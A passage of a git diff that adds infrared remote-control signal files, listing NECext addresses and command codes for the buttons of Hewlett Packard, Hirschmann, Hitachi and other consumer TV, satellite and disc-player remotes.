00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 63 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 8B 00 00 00 +# +name: PHOTO +type: parsed +protocol: NECext +address: 12 11 00 00 +command: A4 00 00 00 +# +name: SAP/MTS +type: parsed +protocol: NECext +address: 12 11 00 00 +command: A7 00 00 00 +# +name: SAP +type: parsed +protocol: NECext +address: 12 11 00 00 +command: A7 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 12 11 00 00 +command: A8 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 12 11 00 00 +command: A9 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 12 11 00 00 +command: AB 00 00 00 +# +name: . +type: parsed +protocol: NECext +address: 12 11 00 00 +command: AC 00 00 00 +# +name: ._(DOT) +type: parsed +protocol: NECext +address: 12 11 00 00 +command: AC 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 12 11 00 00 +command: D7 00 00 00 +# +name: SPLIT +type: parsed +protocol: NECext +address: 12 11 00 00 +command: D8 00 00 00 +# +name: BBE +type: parsed +protocol: NECext +address: 12 11 00 00 +command: DB 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 12 11 00 00 +command: DC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir b/assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir new file mode 100644 index 000000000..7dae2ac3b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 00 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 01 00 00 00 +# +name: INPUT_TV +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 0A 00 00 00 +# +name: INPUT_AV1 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 0D 00 00 00 +# +name: INPUT_AV2 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 0E 00 00 00 +# +name: INPUT_AV3 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 0F 00 00 00 +# +name: INPUT_S-VIDEO +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 12 00 00 00 +# +name: INPUT_YPBRPR1 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 13 00 00 00 +# +name: INPUT_YPBRPR2 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 14 00 00 00 +# +name: INPUT_HDMI +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 15 00 00 00 +# +name: INPUT_DVI +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 17 00 00 00 +# +name: INPUT_RGB +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 18 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 19 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir b/assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir new file mode 100644 index 000000000..8a14deb61 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 09 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 0A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 0D 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 11 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 1F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 54 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 55 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 58 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 59 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 5A 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 5B 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 5C 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 5C 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 63 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 8B 00 00 00 +# +name: PHOTO +type: parsed +protocol: NECext +address: 12 11 00 00 +command: A4 00 00 00 +# +name: SAP/MTS +type: parsed +protocol: NECext +address: 12 11 00 00 +command: A7 00 00 00 +# +name: SAP +type: parsed +protocol: NECext +address: 12 11 00 00 +command: A7 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 12 11 00 00 +command: A8 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 12 11 00 00 +command: A9 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 12 11 00 00 +command: AB 00 00 00 +# +name: . +type: parsed +protocol: NECext +address: 12 11 00 00 +command: AC 00 00 00 +# +name: ._(DOT) +type: parsed +protocol: NECext +address: 12 11 00 00 +command: AC 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 12 11 00 00 +command: D7 00 00 00 +# +name: SPLIT +type: parsed +protocol: NECext +address: 12 11 00 00 +command: D8 00 00 00 +# +name: BBE +type: parsed +protocol: NECext +address: 12 11 00 00 +command: DB 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 12 11 00 00 +command: DC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir b/assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir new file mode 100644 index 000000000..8c541389a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 00 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 01 00 00 00 +# +name: TUNER_1 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 0A 00 00 00 +# +name: INPUT_TV +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 0A 00 00 00 +# +name: TUNER_2 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 0B 00 00 00 +# +name: TUNER_3 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 0C 00 00 00 +# +name: AV_1 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 0D 00 00 00 +# +name: INPUT_AV1 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 0D 00 00 00 +# +name: AV_2 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 0E 00 00 00 +# +name: INPUT_AV2 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 0E 00 00 00 +# +name: AV_3 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 0F 00 00 00 +# +name: INPUT_AV3 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 0F 00 00 00 +# +name: SV_1 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 10 00 00 00 +# +name: SV_2 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 11 00 00 00 +# +name: SV_3 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 12 00 00 00 +# +name: INPUT_S-VIDEO +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 12 00 00 00 +# +name: YPRPB_1 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 13 00 00 00 +# +name: INPUT_YPBRPR1 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 13 00 00 00 +# +name: YPRPB_2 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 14 00 00 00 +# +name: INPUT_YPBRPR2 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 14 00 00 00 +# +name: HDMI_1 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 15 00 00 00 +# +name: INPUT_HDMI +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 15 00 00 00 +# +name: HDMI_2 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 16 00 00 00 +# +name: RGB_1 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 17 00 00 00 +# +name: INPUT_DVI +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 17 00 00 00 +# +name: RGB_2 +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 18 00 00 00 +# +name: INPUT_RGB +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 18 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 19 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: 02 11 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir new file mode 100644 index 000000000..781eeadd3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir b/assets/resources/infrared/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir new file mode 100644 index 000000000..c7312228e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 00 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 01 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 02 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 03 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 04 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 05 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 06 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 07 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 08 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 09 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 0A 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 0B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 0C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 0D 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 0E 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 0F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir b/assets/resources/infrared/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir new file mode 100644 index 000000000..f23e31e27 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 09 00 00 00 +# +name: UP_CH+ +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0A 00 00 00 +# +name: DOWN_CH- +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0B 00 00 00 +# +name: RIGHT_VOL+ +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0C 00 00 00 +# +name: LEFT_VOL- +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0D 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0F 00 00 00 +# +name: SEITE_+ +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 10 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 11 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 12 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 13 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 14 00 00 00 +# +name: NTSC/PAL +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 15 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 16 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 17 00 00 00 +# +name: F1_ROT +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 18 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 19 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 1A 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 1B 00 00 00 +# +name: F4_BLAU +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 1C 00 00 00 +# +name: SEITE_- +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 1D 00 00 00 +# +name: I +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 1E 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 1F 00 00 00 +# +name: N +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 40 00 00 00 +# +name: F3_GELB +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 41 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 42 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir new file mode 100644 index 000000000..7e3199391 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 09 00 00 00 +# +name: M +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 0B 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 0C 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 0D 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 0E 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 0F 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 16 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 17 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 25 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 28 00 00 00 +# +name: SKIP +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 2D 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 33 00 00 00 +# +name: COPY +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 3B 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 49 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 4A 00 00 00 +# +name: LNB +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 4B 00 00 00 +# +name: SYNC +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 53 00 00 00 +# +name: ME +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 54 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 55 00 00 00 +# +name: RADIO +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir new file mode 100644 index 000000000..ce34106fa --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 09 00 00 00 +# +name: AUTO_DIG/ANALOG +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 0C 00 00 00 +# +name: CX +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 0E 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 10 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 11 00 00 00 +# +name: CHAP/FRAME-TIME +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 13 00 00 00 +# +name: STOP/OPEN_[] +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 16 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 17 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 18 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1C 00 00 00 +# +name: AUDIO_MONITOR +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1E 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1F 00 00 00 +# +name: SEARCH/MEMORY +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 42 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 43 00 00 00 +# +name: REPEAT_B +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 44 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 45 00 00 00 +# +name: MULTI_SPEED_- +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 46 00 00 00 +# +name: MULTI_SPEED_+ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 47 00 00 00 +# +name: REPEAT_A +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 48 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4C 00 00 00 +# +name: STILL/STEP_< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 50 00 00 00 +# +name: CHAPTER/TRACK_>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 52 00 00 00 +# +name: CHAPTER/TRACK_<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 53 00 00 00 +# +name: STILL/STEP_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 54 00 00 00 +# +name: MULTI_SPEED_< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 55 00 00 00 +# +name: MULTI_SPEED_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir new file mode 100644 index 000000000..cc06ac609 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: AVX +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: LST-CH +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0B 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/12,251.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/12,251.ir new file mode 100644 index 000000000..e584aca27 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/12,251.ir @@ -0,0 +1,656 @@ +Filetype: IR signals file +Version: 1 +# +name: DSS2_CH_^ +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 02 00 00 00 +# +name: DSS2_CH_V +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 03 00 00 00 +# +name: DSS2_0_(&!/) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 04 00 00 00 +# +name: DSS2_1_(ABC) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 05 00 00 00 +# +name: DSS2_2_(DEF) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 06 00 00 00 +# +name: DSS2_3_(GHI) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 07 00 00 00 +# +name: DSS2_4_(JKL) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 08 00 00 00 +# +name: DSS2_5_(MNO) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 09 00 00 00 +# +name: DSS2_6_(PQR) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0A 00 00 00 +# +name: DSS2_7_(STU) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0B 00 00 00 +# +name: DSS2_8_(VWX) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0C 00 00 00 +# +name: DSS2_9_(YZ) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0D 00 00 00 +# +name: ACTION +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0E 00 00 00 +# +name: DSS2_EXIT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0F 00 00 00 +# +name: DSS2_V +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 10 00 00 00 +# +name: DSS2_FAV +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 11 00 00 00 +# +name: DSS2_GUIDE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 12 00 00 00 +# +name: DSS2_INFO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 13 00 00 00 +# +name: DSS2_< +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 14 00 00 00 +# +name: DSS2_POWER +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 15 00 00 00 +# +name: DSS2_LAST_CH +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: DSS2_> +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 17 00 00 00 +# +name: DSS2_SELECT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 18 00 00 00 +# +name: DSS2_^ +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 19 00 00 00 +# +name: DSS2_SVCS +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 69 00 00 00 +# +name: DSS2_TRIANGLE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 6A 00 00 00 +# +name: DSS2_CIRCLE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 6B 00 00 00 +# +name: DSS2_SQUARE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 6C 00 00 00 +# +name: DSS2_MOVIES +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 6D 00 00 00 +# +name: DSS2_SPORTS +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 6E 00 00 00 +# +name: DSS2_NEWS +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 6F 00 00 00 +# +name: DSS2_MENU +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 70 00 00 00 +# +name: DSS2_ALPHA +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 75 00 00 00 +# +name: DSS2_SCHED +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 76 00 00 00 +# +name: DSS2_QT1 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 77 00 00 00 +# +name: DSS2_QT2 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 78 00 00 00 +# +name: DSS2_QT3 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 79 00 00 00 +# +name: DSS2_QT4 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 7A 00 00 00 +# +name: DSS2_QT5 +type: parsed +protocol: NECext +address: 0C FB 00 